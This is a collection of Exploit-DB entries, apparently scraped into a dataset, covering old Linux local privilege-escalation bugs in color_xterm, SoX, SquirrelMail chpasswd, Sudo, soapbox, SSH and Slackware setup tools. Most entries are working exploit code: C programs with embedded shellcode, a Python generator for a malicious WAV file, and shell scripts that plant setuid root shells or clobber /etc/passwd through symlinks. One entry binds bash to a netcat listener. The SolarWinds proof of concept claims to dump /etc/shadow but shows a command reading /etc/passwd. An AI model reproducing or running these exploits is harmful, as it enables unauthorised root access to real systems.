deardaniel/secdata-raw huggingface dataset:
Exploit-DB #19285
Description: Slackware Linux 3.1/3.2 - 'color_xterm' Local Buffer Overflow (1)
Type: local
Platform: linux
Date: 1997-05-27
Author: zgv

Exploit:
source: https://www.securityfocus.com/bid/369/info

In Slackware Linux 3.1 and 3.2, the version of color xterm included is vulnerable to a buffer overflow attack that allows for a local user to gain root access. 

/* exploit for color_xterm, modified by zgv */
/* original exploit coded by Ming Zhang for the Chinese Version Of xTerm */

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>

#define BUFFER_SIZE 1024
#define DEFAULT_OFFSET 50
#define PATH_COLOR_XTERM "/usr/X11/bin/color_xterm" /* Default Path If Make Install Was Used */
#define NOP_SIZE 1

char nop[] = "\x90";

/* Shell Code For That Ass */
char shellcode[] =
  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  "\x80\xe8\xdc\xff\xff\xff/bin/sh";

unsigned long get_sp(void) {
   __asm__("movl %esp,%eax");
}

/* Lets d0 d1s */
void main(int argc,char **argv)
{
   char *buff = NULL;
   unsigned long *addr_ptr = NULL;
   char *ptr = NULL;
   int i,OffSet = DEFAULT_OFFSET;

   if (argc>1) OffSet = atoi(argv[1]);

   buff = malloc(2048);
   if(!buff)
   {
      printf("err0r err0r err0r err0r you g0t gn0 sk1lls er memory\n");
      exit(0);
   }
   ptr = buff;

   for (i = 0; i <= BUFFER_SIZE - strlen(shellcode) - NOP_SIZE; i+=NOP_SIZE) {
        memcpy (ptr,nop,NOP_SIZE);
        ptr+=NOP_SIZE;
   }

   for(i=0;i < strlen(shellcode);i++)
      *(ptr++) = shellcode[i];

   addr_ptr = (long *)ptr;
   for(i=0;i < (8/4);i++)
      *(addr_ptr++) = get_sp() + OffSet;
   ptr = (char *)addr_ptr;
   *ptr = 0;
   (void) fprintf(stderr,"bewm bash#\n");

    execl(PATH_COLOR_XTERM, "color_xterm_owns_me", "-xrm",buff, NULL);
}
Exploit-DB #19070
Description: Slackware Linux 3.4 - 'liloconfig-color' Temporary File
Type: local
Platform: linux
Date: 1998-04-06
Author: neonhaze

Exploit:
source: https://www.securityfocus.com/bid/77/info

liloconfig-color creates the file /tmp/reply insecurely and follows symbolic links. An attacker can create a symbolic link from /tmp/reply to any file and wait for root to run the program. This will clober the target file.
The file created has permissions -rw-r--r--.

$ ln -s /tmp/reply /etc/passwd
< wait for root to run liloconfig-color >
Exploit-DB #19071
Description: Slackware Linux 3.4 - 'makebootdisk' Temporary File
Type: local
Platform: linux
Date: 1998-04-06
Author: neonhaze

Exploit:
source: https://www.securityfocus.com/bid/78/info

makebootdisk creates the file /tmp/return insecurely and follows symbolic links. An attacker can create a symbolic link from /tmp/return to any file and wait for root to run the program. This will clober the target file. The file created has permissions -rw-r--r--.

$ ln -s /tmp/return /etc/passwd
< wait for root to run makebootdisk >
Exploit-DB #19073
Description: Slackware Linux 3.4 - 'netconfig' Temporary File
Type: local
Platform: linux
Date: 1998-04-06
Author: neonhaze

Exploit:
source: https://www.securityfocus.com/bid/81/info

netconfig creates the file /tmp/tmpmsg insecurely and follows symbolic links. An attacker can create a symbolic link from /tmp/tmpmsg to any file and wait for root to run the program. This will clober the target file. The file created has permissions -rw-r--r--.

$ ln -s /tmp/tmpmsg /etc/passwd
< wait for root to run netconfig >
Exploit-DB #19074
Description: Slackware Linux 3.4 - 'pkgtool' Temporary File
Type: local
Platform: linux
Date: 1998-04-06
Author: neonhaze

Exploit:
source: https://www.securityfocus.com/bid/82/info

pkgtool creates the file /tmp/reply insecurely and follows symbolic links. An attacker can create a symbolic link from /tmp/reply to any file and wait for root to run the program. This will clober the target file.
The file created has permissions -rw-rw-rw-.

$ cp /etc/passwd /tmp/passwd
$ ln -s /tmp/reply /etc/passwd
< wait for root to run pkgtool >
$ echo toor::0:0::/:/bin/sh > /etc/passwd
$ su - toor
# cp /tmp/passwd /etc/passwd
# rm /tmp/reply /tmp/passwd
Exploit-DB #19122
Description: Slackware Linux 3.5 - '/etc/group' Local Privilege Escalation
Type: local
Platform: linux
Date: 1998-07-13
Author: Richard Thomas

Exploit:
source: https://www.securityfocus.com/bid/155/info

Due to the way /bin/login behaves when a /etc/group file is not present under Slackware's version of the password shadowing suite, users who log in while this file is not present will be given uid and gid 0. This will allow them unrestricted access to the machine. This vulnerability is present in all versions of Slackware which have shadow passwords, up to and including 3.5

If the call to initgroups() fails in setup_uid_gid(), the function immediately returns value of -1. However, the call to setup_uid_gid() in login.c fails to check this return value. Since the uid and gid were not checked, their value is still 0, and the user will be logged in with 0 as their uid and gid.

Remove /etc/group and log in as a valid user. /etc/group must entirely not exist -- mode 000 is not sufficient.
Exploit-DB #21666
Description: soapbox 0.3.1 - Local Privilege Escalation
Type: local
Platform: linux
Date: 2012-10-02
Author: Jean Pascal Pereira

Exploit:
-----------------------------------
soapbox 0.3.1 <= Local Root Exploit
-----------------------------------

Vendor URI: http://dag.wieers.com/home-made/soapbox/

Credit: Jean Pascal Pereira <pereira@secbiz.de>

Description:

"Soapbox allows to restrict processes to write only to those places you want. Read-access however is still based on file-permissions. By preloading the Soapbox library, you can run programs as root and monitor which writes/changes are made, without them really happening. (Typically 'make install') 

Beware this can be used for security-purposes, but it can deliberately be circumvented. Soapbox only impacts dynamically linked programs that properly use glibc functions. I'm currently looking into a safer implementation using ptrace. 

Soapbox also triggered some bugs in applications that trusted system calls too much. So you can use soapbox to test your programs for these kinds of mistakes too."

------------------------------------------------------------------------------------------


First of all, we have to run soapbox on our target system.
I'm going to create a new netcat process spawned in a restricted directory (/etc/opt/sbx). 

------------------------------------------------------------------------------------------
root@havoc:/etc/opt/sbx# soapbox -l log -p /etc/opt/sbx /bin/nc -l -v -p 4545 -e /bin/bash
------------------------------------------------------------------------------------------

After establishing a connection to our target system, we get a sandboxed root shell.
Let's try to write data to a protected location.

------------------------------------------------------------------------------------------
$ nc 23.5.0.0 4545
echo boom > /etc/abc
bash: line 1: 1: Bad file descriptor
------------------------------------------------------------------------------------------

As we can see, soapbox restricts write access to this path.
But what happens if we start another soapbox instance with full file-system access?

------------------------------------------------------------------------------------------
$ nc 23.5.0.0 4545
soapbox -l log -p / /bin/bash # running another instance of soapbox that provides full file system access
echo boom > /etc/abc
cat /etc/abc
boom # BOOM!
------------------------------------------------------------------------------------------

BOOM. Now we're able to start an unrestricted root shell and gain control over the file system.

(This is still a local exploit because we were only able to exploit that issue remotely by using netcat).


/* http://0xffe4.org */
Exploit-DB #39967
Description: SolarWinds Virtualization Manager - Local Privilege Escalation
Type: local
Platform: linux
Date: 2016-06-16
Author: Nate Kettlewell

Exploit:
Product: Solarwinds Virtualization Manager

Vendor: Solarwinds
Vulnerable Version(s): < 6.3.1
Tested Version: 6.3.1

Vendor Notification: April 25th, 2016
Vendor Patch Availability to Customers: June 1st, 2016
Public Disclosure: June 14th, 2016

Vulnerability Type: Security Misconfiguration
CVE Reference: CVE-2016-3643
Risk Level: High
CVSSv2 Base Score: 7.8 (CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H/E:H/RL:W/RC:C/CR:M/IR:M/AR:M/MAV:L/MAC:L/MPR:L/MUI:N/MS:C/MC:H/MI:H/MA:H)
Solution Status: Solution Available

Discovered and Provided: Nate Kettlewell, Depth Security ( https://www.depthsecurity.com/ )

-----------------------------------------------------------------------------------------------

Advisory Details:

Depth Security discovered a vulnerability in Solarwinds Virtualization Manager appliance.
This attack requires a user to have an operating system shell on the vulnerable appliance.

1) Misconfiguration of sudo in Solarwinds Virtualization Manager: CVE-2016-3643

The vulnerability exists due to the miconfiguration of sudo in that it allows any local user to use sudo to execute commands as the superuser.
A local attacker can obtain root privileges to the operating system regardless of privilege level.

-----------------------------------------------------------------------------------------------

Solution:

Solarwinds has released a hotfix to remediate this vulnerability on existing installations.

This flaw as well as several others have been corrected and that release has been put into manufacturing for new appliances.

-----------------------------------------------------------------------------------------------

Proof of Concept:

The following is an example of the commands necessary for a low-privileged user to dump the contents of the "/etc/shadow" file by using sudo.

sudo cat /etc/passwd

-----------------------------------------------------------------------------------------------

References:

[1] Solarwinds Virtualization Manager- http://www.solarwinds.com/virtualization-manager - Solarwinds Virtualization Manager provides monitoring and remediation for virtualized environments.
Exploit-DB #369
Description: SoX - Local Buffer Overflow
Type: local
Platform: linux
Date: 2004-08-01
Author: Serkan Akpolat

Exploit:
# POC Exploit for SoX Stack Overflow Vulnerability found by Ulf Harnhammar
# Tested Under Slackware 9.1
# Serkan Akpolat sakpolat@gmx.net | deicide@siyahsapka.org
# Homepage: http://deicide.siyahsapka.org
# Greets to: Virulent
# deicide@gate:~$ play britney.wav
# sh-2.05b$

# "jmp %esp" from libc.so , change this if needed..
retJmpEsp=0x4029824B

# intel_order() from MOSDEF
def intel_order(myint):
str=""
a=chr(myint % 256)
myint=myint >> 8
b=chr(myint % 256)
myint=myint >> 8
c=chr(myint % 256)
myint=myint >> 8
d=chr(myint % 256)
str+="%c%c%c%c" % (a,b,c,d)
return str

# Wave Header
begin = "\x52\x49\x46\x46\x74\x05\x00\x00\x57\x41\x56\x45\x66\x6d\x74\x20" +\
"\x32\x00\x00\x00\x02\x00\x01\x00\x70\x17\x00\x00\x00\x0c\x00\x00" +\
"\x00\x01\x04\x00\x20\x00\xf4\x01\x07\x00\x00\x01\x00\x00\x00\x02" +\
"\x00\xff\x00\x00\x00\x00\xc0\x00\x40\x00\xf0\x00\x00\x00\xcc\x01" +\
"\x30\xff\x88\x01\x18\xff\x66\x61\x63\x74\x04\x00\x00\x00\x00\x00" +\
"\x00\x00\x64\x61\x74\x61\x00\x00\x00\x00\x4c\x49\x53\x54\x9a\x01" +\
"\x00\x00\x49\x4e\x46\x4f\x49\x41\x52\x54\x08\x00\x00\x00\x44\x65" +\
"\x69\x63\x69\x64\x65\x00\x49\x43\x52\x44\x7e\x01\x00\x00"
shellcode = "\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"

evilBuf = begin+"boom"*75+intel_order(retJmpEsp)+shellcode
wavFile = open("britney.wav", "wb")
wavFile.write(evilBuf)
wavFile.close()
print "Evil Song has been created :Pp"

# milw0rm.com [2004-08-01]
Exploit-DB #273
Description: SquirrelMail - 'chpasswd' Local Buffer Overflow
Type: local
Platform: linux
Date: 2004-04-20
Author: x314

Exploit:
/*
* 0x3142-sq-chpasswd.c
* Squirremail chpasswd buffer overflow.
*
* Tested on SuSE 9.
* The bug was found by Matias Neiff <matias neiff com ar>
* Coded by x314 <0x3142 hushmail.com>
* (c) 2004 Copyright by x314.
* All Rights Reserved.
*
* Greets: m0s krewz. 
*
*/

#include <stdlib.h>

char shellcode[]=
"\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0"
"\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d"
"\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73"
"\x68";

int main(int argc, char *argv[])
{
char *env[2] = {shellcode, NULL};
int i;
long ret, *addr_ptr;
char *buffer, *ptr;

buffer = malloc(200);

printf("\n*** Squirremail chpasswd local root exploit by 0x3142@hushmail.com ***\n\n");

if(argc != 2) {
printf("Usage: %s <path-to-chpasswd>\n\n",argv[0]);
exit(0);
}

ret = 0xbffffffa - strlen(shellcode) - strlen(argv[1]);

// printf("Using ret = 0x%x\n\n", ret);

ptr = buffer;
addr_ptr = (long *) ptr;
for(i=0; i < 200; i+=4)
{
*(addr_ptr++) = ret;
}

buffer[200-1] = 0;

execle(argv[1], "chpasswd", buffer, "0x314", "m0s", 0, env);

free(buffer);

return 0;
}




// milw0rm.com [2004-04-20]
Exploit-DB #417
Description: SquirrelMail - 'chpasswd' Local Privilege Escalation (Brute Force)
Type: local
Platform: linux
Date: 2004-08-25
Author: Bytes

Exploit:
/* 

** PST_chpasswd_exp-v_b.c: 
** 
** Squirrelmail chpasswd local root bruteforce exploit 
** Author: 
** Bytes<Bytes[at]ph4nt0m.net> || <Bytes[at]ph4nt0m.org> 
** www ph4nt0m net 
** Notice: 
** v_b: Local bruteforce version 
** v_R: remote bruteforce version 
** 
** 
** Greatze: #ph4nt0m,#music@0x557 
** All PST member,Grip2,Airsupply,Jambalaya,Ann,Paul,Happy... 
** Thax: My GF(Luz),Oyxin,Winewind,Envymask,Eong,luoluo,GoGo(f0r ever)... 
** 
** 
** -=-=-=-=-=-=-=-=-=-= !!![+PH4NT0M TEAM PRIVATE EXPLOIT+]!!! =-=-=-=-=-=-=-=-=-=- 
** 
** Date: 2004-04 # DO NOT DISTRIBUTE # 
** 
** You Must get account belong to Webmaster ,www or other webserver groups. 
** 
*/ 

#include <stdio.h> 
#include <unistd.h> 
#include <stdlib.h> 
#include <sys/wait.h> 

#define NOP 0x90 
#define Fuckpr0 "./chpasswd" /* you need modify it by yourself */ 
#define LOOP 2000 /* loop of bruteforce */ 

/* setuid(0) shellcode by by Matias Sedalo 3x ^_^ */ 

char shellcode[] ="x31xdbx53x8dx43x17xcdx80x99x68x6ex2fx73x68x68" 
"x2fx2fx62x69x89xe3x50x53x89xe1xb0x0bxcdx80"; 

unsigned long get_esp() { 

__asm__ ("movl %esp,%eax"); 

} 

void *M_malloc(size_t size){ 

register void *value; 

value = malloc(size); 

if(value == NULL){ 

printf("ERROR:virtual memory exhausted...n"); 

exit(-1); 

} 

return value; 

} 

int main(void){ 

unsigned long ret_addr; 

int i,j=0,offset=2,status; 

char *buf1,*buf2; 

pid_t pid; 

ret_addr = get_esp() - strlen(Fuckpr0) - strlen(shellcode); 

printf("t-------------------------------------------------------n"); 
printf("t Squirrelmail chpasswd local root bruteforce exploit n"); 
printf("t code By Bytes<Bytes[at]ph4nt0m.org> 2004 n"); 
printf("t http://www.ph4nt0m.net n"); 
printf("t#######################################################n"); 


sleep(1); 

printf("[+] Bruteforce......nn"); 

sleep(2); 

buf1 = (char *)M_malloc(150); 

buf2 = (char *)M_malloc(600); 

while(j <= LOOP){ 

if((pid = fork()) == 0){ 

memset(buf2,0x90,sizeof(buf2) - strlen(shellcode) - 8); 

memcpy(buf2 + sizeof(buf2) - strlen(shellcode) - 8,shellcode,sizeof(shellcode)); 

for(i=0; i < 150; i+=4){ 

*((unsigned long *)(buf1+i)) = ret_addr; 

} 

printf("buf1 = %sn",buf1); 

execl(Fuckpr0,"chpasswd",buf1,buf2,0); 

} 

wait(&status); 

printf("[-] Signal: #%in", status); 

if(WIFEXITED(status) != 0 ) { 

printf("[=] Step.%i: 0x%xn[~] Exiting...n",(j/2),ret_addr); 

exit(1); 

}else{ 

ret_addr += offset; 

j += offset; 

printf("[=] Offset:%d Use ret:0x%xn",j, ret_addr); 

} 

} 

free(buf1); 

free(buf2); 

return 1; 

} 

// milw0rm.com [2004-08-25]
Exploit-DB #1449
Description: SquirrelMail 3.1 - Change Passwd Plugin Local Buffer Overflow
Type: local
Platform: linux
Date: 2006-01-25
Author: rod hedor

Exploit:
/*
Change passwd  3.1 (SquirrelMail plugin )

Coded by rod hedor

web-- http://lezr.com

[local exploit]

 * Multiple buffer overflows are present in the handling of command line arguements in chpasswd.
  The bug allows a hacker to exploit the process to run arbitrary code.
*/

#include <stdio.h>
#include <stdlib.h>

const char shellcode[]="\x90\x90\x90\x90\x90\x90\x90\x90"
                      "\x90\x90\x90\x90\x90\x90\x90\x90"
                      "\x90\x90\x90\x90\x90\x90\x90\x90"
                      "\x31\xc0\xb0\x17\x31\xdb\xcd\x80"
                      "\x89\xe5\x31\xc0\x50\x55\x89\xe5"
                      "\x50\x68\x6e\x2f\x73\x68\x68\x2f"
                      "\x2f\x62\x69\x89\xe3\x89\xe9\x89"
                      "\xea\xb0\x0b\xcd\x80";

long get_sp(){
       __asm__("movl %esp,%eax;");
};

int main(){
       char buffer[1024];
       long stack = get_sp();
       int result = 1;
       long offset = 0;
       printf ("[!] Change_passwd v3.1(SquirrelMail plugin) exploit\n");
       printf ("[+] Current stack [0x%x]\n",stack);
       while(offset <= 268435456){
       offset = offset + 1;
       stack = get_sp() + offset;
       memcpy(&buffer,"EGG=",4);
       int a = 4;
       while(a <= 108){
               memcpy(&buffer[a],"x",1);
               a = a + 1;}
       memcpy(&buffer[108],&stack,4);
       memcpy(&buffer[112],&shellcode,sizeof(shellcode));
       putenv(buffer);
       result = system("./chpasswd $EGG");
       if(result == 0){exit(0);};
       };
};

// milw0rm.com [2006-01-25]
Exploit-DB #19510
Description: SSH Communications Security SSH 1.2.27 - Authentication Socket File Creation
Type: local
Platform: linux
Date: 1999-09-17
Author: Tymm Twillman

Exploit:
source: https://www.securityfocus.com/bid/660/info

A vulnerability in SSH's creation of the authentication agent UNIX domain socket allows local users to create a UNIX domain socket with an arbitrary file name in the system.

SSH has the concept of authentication proxying via the SSH authentication agent. It allows for a basic kind of Single Sign-On capability. The sshd daemon, ssh and ssh-agent communicate via a UNIX domain socket normally of the form '/tmp/ssh-<username>/agent-socket-<pid>'.

SSH follows symbolic links while creating the socket as root thus allowing any local users with ssh access to create a socket with an arbitrary filename in the system.

Notice that this will not work under all operating systems. Some operating systems do not follow symbolic links during bind(2) on UNIX domain sockets. Linux 2.0.x, Solaris 2.5.1 and IRIX 6.5.2 do not follow symbolic links during bind(2). Linux 2.1.x does.

You can use the following program by Dan Astoorian <djast@cs.toronto.edu> to test whether your system does or does not follow symbolic links during bind(2):

#include <stdio.h>
#include <errno.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/un.h>

#define FPATH "./bindlinktest"
#define LPATH "./bindlinktest0"

int main(int argc, char **argv) {
int fd;
struct sockaddr_un sunaddr;

fd = socket(AF_UNIX, SOCK_STREAM, 0);
if (fd < 0) { perror("socket");exit(1); };

unlink(FPATH);
if (symlink(FPATH, LPATH) < 0) {
perror("symlink");exit(1);
}

memset(&sunaddr, 0, sizeof(sunaddr));
sunaddr.sun_family = AF_UNIX;
strncpy(sunaddr.sun_path, LPATH, sizeof(sunaddr.sun_path));
if (bind(fd, (struct sockaddr *)&sunaddr, sizeof(sunaddr)) < 0) {
if (errno == EADDRINUSE) {
printf("bind() returned EADDRINUSE; this system appears to be okay.\n");
} else {
perror("bind");
}
} else {
printf("bind() succeeded; this system appears to be vulnerable.\n");
}

close(fd)
unlink(FPATH);
unlink(LPATH);
exit(0);
} 

#!/usr/bin/perl

$pid = $$;

$whoami = `whoami`;
chop($whoami);
mkdir("/tmp/ssh-$whoami", 0700);

for ($i = $pid; $i < $pid+50; $i++)
{
symlink("/etc/nologin", "/tmp/ssh-$whoami/ssh-$i-agent");
}
Exploit-DB #21398
Description: SSH2 3.0 - Restricted Shell Escape (Command Execution)
Type: local
Platform: linux
Date: 2002-04-18
Author: A.Dimitrov

Exploit:
source: https://www.securityfocus.com/bid/4547/info

SSH (and derivatives) is the protocol Secure Shell protocol implementation. It is available for various operating systems, although this vulnerability affects operating systems such as Unix and Linux.

It has been reported that it is possible for a remote user to upload files to world-writeable directories, and execute commands from world-writeable directories. In doing so, a user may be able to upload a script, and execute the script to gain access to a regular shell on the system. This would allow the user unrestricted, but unprivileged access.

After uploading 'malicious' to /tmp:

ssh -l user host '/tmp/malicious'
Exploit-DB #21227
Description: Sudo 1.6.3 - Unclean Environment Variable Privilege Escalation
Type: local
Platform: linux
Date: 2002-01-14
Author: Charles Stevenson

Exploit:
source: https://www.securityfocus.com/bid/3871/info

Sudo is a freely available, open source permissions management software package available for the Linux and Unix operating systems. It is maintained by Todd C. Miller.

Under some circumstances, sudo does not properly sanitize the environment it executes programs with. In the event that sudo is used to run a program such as an MTA with root privileges, this could result in a local user passing unsafe data to the program via environment variables. From these environment variables the user may be able to execute commands as root, and potentially gain elevated privileges.

#!/bin/sh
#
# root shell exploit for postfix + sudo
# tested on debian powerpc unstable
#
# by Charles 'core' Stevenson <core@bokeoa.com>

# Put your password here if you're not in the sudoers file
[CREDENTIAL_REDACTED]

echo -e "sudo exploit by core <core@bokeoa.com>\n"

echo "Setting up postfix config directory..."
/bin/cp -r /etc/postfix /tmp

echo "Adding malicious debugger command..."
echo "debugger_command = /bin/cp /bin/sh /tmp/sh; chmod 4755 /tmp/sh">>/tmp/postfix/main.cf

echo "Setting up environment..."
export MAIL_CONFIG=/tmp/postfix
export MAIL_DEBUG=

sleep 2

echo "Trying to exploit..."
echo -e "$PASSWORD\n"|/usr/bin/sudo su -

sleep 2

echo "We should have a root shell let's check..."
ls -l /tmp/sh

echo "Cleaning up..."
rm -rf /tmp/postfix

echo "Attempting to run root shell..."
/tmp/sh
Exploit-DB #1310
Description: Sudo 1.6.8p9 - SHELLOPTS/PS4 Environment Variables Privilege Escalation
Type: local
Platform: linux
Date: 2005-11-09
Author: Breno Silva Pinto

Exploit:
## Sudo local root escalation privilege ##
## vuln versions :  sudo < 1.6.8p10
## by breno

## You need sudo access execution for some bash script ##
## Use csh shell to change SHELLOPTS env ##

ie:
       %cat x.sh
       #!/bin/bash -x

       echo "Getting root!!"
       %
##

##
       # cat /etc/sudoers
       ...
       breno   ALL=(ALL) /home/breno/x.sh
       ..
       #

## Let's use an egg shell :)
       %cat egg.c

#include <stdio.h>

       int main()
       {
       setuid(0);
       system("/bin/sh");
}
%

% gcc -o egg egg.c
% setenv SHELLOPTS xtrace
% setenv PS4 '$(chown root:root egg)'
% sudo ./x.sh
echo Getting root!!
Getting root!!
% ls -lisa egg
1198941 8 -rwxr-xr-x  1 root root 7428 2005-11-09 13:54 egg
% setenv PS4 '$(chmod +s egg)'
% sudo ./x.sh
echo Getting root!!
Getting root!!
% ./egg
sh-3.00# id
uid=0(root) gid=1000(breno) egid=0(root) grupos=7(lp),102(lpadmin),1000(breno)
sh-3.00#

# milw0rm.com [2005-11-09]